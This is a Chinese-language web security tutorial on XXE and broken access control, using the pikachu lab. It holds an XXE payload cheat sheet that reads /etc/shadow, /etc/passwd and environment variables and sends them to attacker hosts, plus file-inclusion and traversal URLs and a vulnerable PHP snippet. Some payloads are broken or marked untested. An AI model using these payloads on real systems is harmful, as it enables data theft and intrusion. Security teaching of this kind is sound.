XML外部实体(XXE)

XXE 漏洞这个肯定不陌生,已经是经典中的经典了,该漏洞允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

什么是XML

XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。

XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。

攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行

XXE漏洞的产生

很多网站 都是使用XML格式在浏览器和服务器中数据传输,执行此操作的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。

XXE类型

执行此操作的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。

结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->

DOCTYPE 文件名 [
<ENTITY实体名 "实体内容">
]>
<!-- ⬆XMLDTD文档定义⬆ -->
<note>
<to>Luobo</to>
<from>Carrot</from>
<heading>good luck</heading>
<body>hoooooo</body>
</note>
<!-- ⬆XML文档元素⬆ -->

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

内部声明DTD

1
2
3
4
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD文档
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部声明实体

1
<!ENTITY 实体名称 "实体的值">

引用外部实体

1
2
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

示例演示

演示前先去了解一下啥是XML:XXE漏洞利用技巧

使用的靶场:pikachu

(不会搭建的直接搜教程)

验证

1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe "Carrot" > ]>
<foo>&xxe;</foo>

xxe就是着段代码的变量,然后用&foo标签输出xxe

我们得到的结果就是:

可以看到成功显示了我们指定的变量,这可以说明输入的XML数据是有回显的

经过初步的判断,只是确定了可以返回XML数据,但不能确定他是否可以外部实体注入。

利用

比如我们是Windows的服务器,查看win.ini

1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

上面的命令

file:///c:/windows/win.ini 是一个文件路径,表示访问位于”C:\Windows\win.ini” 的本地文件。

如果到这步了,可以直接确定是XXE了

如果是Linux的话可以尝试

1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd>
<foo>&xxe;</foo>

最终有回显,那么就说明了存在该漏洞

更多的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
--------------------------------------------------------------
Vanilla,用于验证出站 xxe 或盲 xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---------------------------------------------------------------
萃取
---------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

----------------------------------------------------------------
上面的变体 (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---------------------------------------------------------------
extraction
---------------------------------------------------------------

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

-----------------------------------------------------------------------
extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


-----------------------------------------------------------------------
extra nice(另外更好的)
-----------------------------------------------------------------------

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

## External dtd: ##

<!ENTITY all "%start;%stuff;%end;">

------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>

## External dtd: ##

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

-------------------------^ you might need to encode this % (depends on your target) as: &#x25;

--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>


## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

失效的访问控制

简介

由于缺乏自动化的检测和应用程序开发人员缺乏有效 的功能测试,因而访问控制缺陷很常见。导致攻击者可以冒充用户、管理员或拥有特权的用户,或者创建、访问、更新或删除任何记录。

主要包括:

  • 文件包含/目录遍历
  • 权限绕过(水平越权)
  • 权限提升(垂直越权)
  • 不安全直接对象的引用

文件包含/目录遍历

什么是文件包含???

文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

就是说可以任意的访问服务器里面的文件,并且执行脚本

为什么会造成文件包含漏洞?

1
2
3
4
5
6
7
利用PHP JSP JSP等函数

PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

JSP/Servlet:ava.io.file()、java.io.filereader()

ASP:include file、include virtual

如果未对功能进行过滤,就产生文件包含漏洞

实验

准备环境:php环境。

实验代码:

1
2
3
4
$file = $_GET['file'];
if (isset($file)) {
include($file);
}

这个代码 就是非常经典的文件包含漏洞,原理就是出在include()这个函数,服务端未进行过滤或禁止时,就产生文件包含漏洞

然后我们就可以对任意文件进行访问,

例如我们访问我们目录下的sssss.php

可以看到里面的内容,并且执行了php代码

可以说明了这个有文件包含漏洞!!!

甚至是其他的网站的PHP也可以输出出来,我们在另一个端口的站点在建立一个PHP

而且是无视文本格式的,不管你是不是PHP文件,

例如:

假设别的网站有PHP信息泄露

pyload:

1
xxxx/wj.php?file=phptest.com/test.php

无视拓展名:

我们把PHP文件改成其他格式例如.dwd

目录遍历

其实就是 访问系统里的文件例如linux下的

1
xxxx.com/wj.php?file=../../../../etc/passwd

解决方案

文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了

权限绕过(水平越权)

你一定见过不需要账号密码就可以直接进入后台管理,并且权限时 管理袁!!

情境 #1: 应用程式在存取账户资讯的 SQL 呼叫中使用未经验证的资料:

pstmt.setString(1, request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery( );

攻击者只需修改浏览器的“acct”參数即可发送他们想要的任何账号。如果沒有正确验证,攻击者可以存取任何用户的账户。

https://example.com/app/accountInfo?acct=notmyacct

情境#2: 攻击者仅強迫浏览某些目标网址。存取管理页面需要管理员权限。

https://example.com/app/getappInfo

https://example.com/app/admin_getappInfo

上面时官方的案例

简单来说就是当你访问的时候,不是以游客的身份进去,直接变成里面的内部人员,就相当于武打片里面的间谍,危险度极高,拿下后台后有更多的权限,从而getshell

其他几种越权都是一个道理,地权限到高权限的过程,这就是失效的访问控制!!!